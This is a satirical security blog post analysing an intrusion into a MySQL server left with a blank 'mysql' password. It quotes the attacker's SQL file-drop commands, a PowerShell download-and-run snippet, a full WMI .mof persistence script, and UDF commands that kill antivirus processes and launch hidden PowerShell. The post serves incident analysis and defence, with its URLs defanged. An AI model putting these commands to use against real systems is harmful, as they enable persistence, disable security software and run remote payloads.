Your Fly Is Open

Netmenaces and Other Internet Stupidity

Adventures in Databasing

2016-05-17 7 min read attacks

I am a database bubble-head…

At least that’s what it must seem like to some friendly folks from Jiangsu, Nanjing China who stopped by the MySQL DB server that I, apparently, do a horrible job of running. Obviously these are thoughtful and helpful people - the moment they noticed that I’m not doing a very good job of administering the box, they decided to help me out.

One of the things that probably tipped them off to the fact that I don’t “DB” very well was the fact that they were able to log in as the user ‘mysql’ with a blank password.

Note to self: I really need to do something about that one of these days…

Their initial foray into DB administration on my behalf was kind of a “fact finding” operation:

show variables like "%plugin%";
show variables like 'basedir';
show variables like "%plugin%";
SELECT @@version_compile_os;
show variables like '%version_compile_machine%';
use mysql;

Who can blame them for their curiosity? If they’re going to be administering the box for me, they really need to know a little about what they’re working with.

Once they’d gotten the lay of the land, so to speak, they - understandably - decided that they needed their own toolset on the box. I’m obviously such a database n00b that I don’t have any of the tools that they’ll need to do the job properly, so they “manufactured” a few of their own.

What I found particularly interesting about this “incident” is the many and varied ways that my Chinese DBA friends have of making sure that their “remote administration” tools get run. You can never be too thorough, and these folks take thorough to an extreme…

It all begins with a little creative SQL:

SELECT 0x4D5A90000300000004000000FFFF0000B8000000000000004000000000000000
000000000000000000000000 into DUMPFILE 'C:/windows/system32/ukGMx.exe';')

Although I’m obviously a pretty crappy DBA, I was able - with lot’s of trial and error and searching on this Interweb thing - to throw together a little Perl code to turn all of those pesky hexadecimal numbers (I’m told that’s what they’re called…) into binary files (whatever those are…).

As it turns out, I think that my “remote DBA” may have a little problem with viruses. It appears that many of the tools that they uploaded are infected…

All together, they created a whole BUNCH of new “DBA tools” on my machine:

The first file was something they called C:/windows/system32/ukGMx.exe:

  • Filesize: 36,864 bytes
  • Type: Windows PE executable file with an internal product name of NBTSTAT
  • SHA256: c5f6aca9935ca5f1023c8886b77c0ca32d8a1bf53f6535bd1b941e04793e49fa
  • Description: A pretty generic downloader (a quick look shows it’s grabbing a file from hxxp:// and saving it as C:\Windows\shes.exe, launching it, and then grabbing hxxp:// and saving that as C:\Windows\svchost.exe and launching it as well…)

Then, they created a metric crap-tonne of 7,680 byte long, identical files:

  • C:/Program Files/lpk.dll
  • C:/windows/lpk.dll
  • lpk.dll
  • C:/windows/system32/lpk.dll
  • C:/lpk.dll
  • D:/lpk.dll
  • %temp%/lpk.dll
  • %systemroot%/lpk.dll
  • ../../bin/lpk.dll
  • ../../lpk.dll
  • ../lpk.dll

These UPX-packed files blow out to a 12,288 byte file dropper:

  • Filesize: 7680 bytes
  • Type: Windows PE DLL file, UPX packed
  • SHA256: e6b8090a4c6e1f301ac041209aba9376e8bbb0f734a2e2244a84e55852f9bb0a
  • Description: This DLL acts as a dropper, for a 4,960 byte UPX packed PE executable Dropped file SHA265: 5b9cc264383ef4a80037d7fd85f8f46dde02fbc7b6bf226da7b029a50824bbe5

The reason that these things are being sprayed all over hell is because the attackers are attempting to exploit a DLL hijacking vulnerability.

The idea behind DLL hijacking is actually pretty simple. Windows has a search path for DLLs that works much in the same way that the $PATH environment variable works for finding executables. The default search path for DLLs works like this:

  • The directory from which the application is run
  • The current directory
  • The system directory
  • The 16-bit system directory
  • The Windows directory
  • The $PATH directories

Windows will look in each of those locations, in that order, until it finds the DLL it’s looking for. If, as an attacker, you can get a rogue/malicious DLL installed “in front” of the “real” DLL in that DLL search path, your DLL will be loaded instead of the real one, and run with the credentials of the application that is loading it.

If the DLL is triggered, the dropped/run file tries to grab and run hxxp:// (see above!) as well as something new: hxxp://

Finally - as far as “binaries” are concerned - they dumped up a file called XZnNds.dll which (oddly) turned out to simply be a “benign” DLL file (according to most AV vendors) that had been UPX compressed. The reason for this file will become apparent later…

Two text files were created as well:


$www=New-Object System.Net.WebClient
$www.DownloadFile($source, $destination)
$www2=New-Object System.Net.WebClient
$www2.DownloadFile($source2, $destination2)


#pragma namespace("\\\\.\\root\\cimv2")
class MyClass649
        [key] string Name;
class ActiveScriptEventConsumer : __EventConsumer
        [key] string Name;
        [not_null] string ScriptingEngine;
        string ScriptFileName;
        [template] string ScriptText;
  uint32 KillTimeout;
instance of __Win32Provider as $P
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
instance of __EventConsumerProviderRegistration
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
Instance of ActiveScriptEventConsumer as $cons
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"ukGMx.exe\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass649\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";

Instance of ActiveScriptEventConsumer as $cons2
  Name = "qndASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\Mxmto.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"ukGMx.exe\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
instance of __EventFilter as $Filt
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass649\"";
  QueryLanguage = "WQL";
instance of __EventFilter as $Filt2
  Name = "qndfilt";
  Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"ukGMx.exe\"";
  QueryLanguage = "WQL";

instance of __FilterToConsumerBinding as $bind
  Consumer = $cons;
  Filter = $Filt;
instance of __FilterToConsumerBinding as $bind2
  Consumer = $cons2;
  Filter = $Filt2;
instance of MyClass649 as $MyClass
  Name = "ClassConsumer";

If you’re unfamiliar with them, .mof files are actually a pretty cool attack vector, if you can land them in the proper directory (which requires admin creds). Placing a .mof file in the \Windows\system32\wbem\mof directory essentially installs a special “event filter” that will trigger code when a logged system event of a specific type occurs. In this case, they’re actually creating a WQL query that triggers on an “event” that is, essentially, the instantiation of their own created class: MyClass649 (it also triggers if the malware they launch ever stops running…). The class itself actually does nothing, but its creation is used to trigger the filter which triggers the consumer and runs the code. Note: This type of attack was used in Stuxnet… For more information see here.

Finally, they topped everything off with a few more SQL commands:

CREATE FUNCTION sys_exec RETURNS string SONAME 'XZnNds.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'XZnNds.dll';
select sys_eval('taskkill /f /im 360safe.exe&taskkill /f /im 360sd.exe&taskkill /f /im 360rp.exe&taskkill /f /im 360rps.exe&taskkill /f /im 360tray.exe&taskkill /f /im ZhuDongFangYu.exe&exit');
select sys_eval('taskkill /f /im SafeDogGuardCenter.exe&taskkill /f /im SafeDogSiteIIS.exe&taskkill /f /im SafeDogUpdateCenter.exe&taskkill /f /im SafeDogServerUI.exe&taskkill /f /im kxescore.exe&taskkill /f /im kxetray.exe&exit');
select sys_eval('taskkill /f /im QQPCTray.exe&taskkill /f /im QQPCRTP.exe&taskkill /f /im QQPCMgr.exe&taskkill /f /im kavsvc.exe&taskkill /f /im alg.exe&taskkill /f /im AVP.exe&exit');
select sys_eval('taskkill /f /im egui.exe&taskkill /f /im ekrn.exe&taskkill /f /im ccenter.exe&taskkill /f /im rfwsrv.exe&taskkill /f /im Ravmond.exe&taskkill /f /im rsnetsvr.exe&taskkill /f /im egui.exe&taskkill /f /im MsMpEng.exe&taskkill /f /im msseces.exe&exit');
select sys_exec('PowerShell.exe -ExecutionPolicy Unrestricted -NoProfile -windowstyle hidden -File c:\\windows\\temp.ps1');

Since I’m obviously not a very good DBA, I’ll leave it to enterprising, DB-savvy readers to figure out exactly what is going on here. Suffice to say, some anti-malware programs are biting the dust and… remember that “benign” DLL? It is being leveraged to provide some user defined functionality…

So, it looks like my days as a DBA are numbered… because these folks really know how to take control of a machine. I’m gonna kick back, put my feet up, and let the kind folks from China take care of administering MySQL from now on…

Tom Liston
Owner, Principal Consultant
Bad Wolf Security, LLC
Senior Technical Engineer
Counter Hack
Twitter: @tliston
May 17, 2016\

P.S.: In the above, I’ve “defanged” all URIs. If I didn’t Hugo would’ve turned them into clickable links and God knows one of you idiots would click on them and then blame me for whatever bad stuff happened.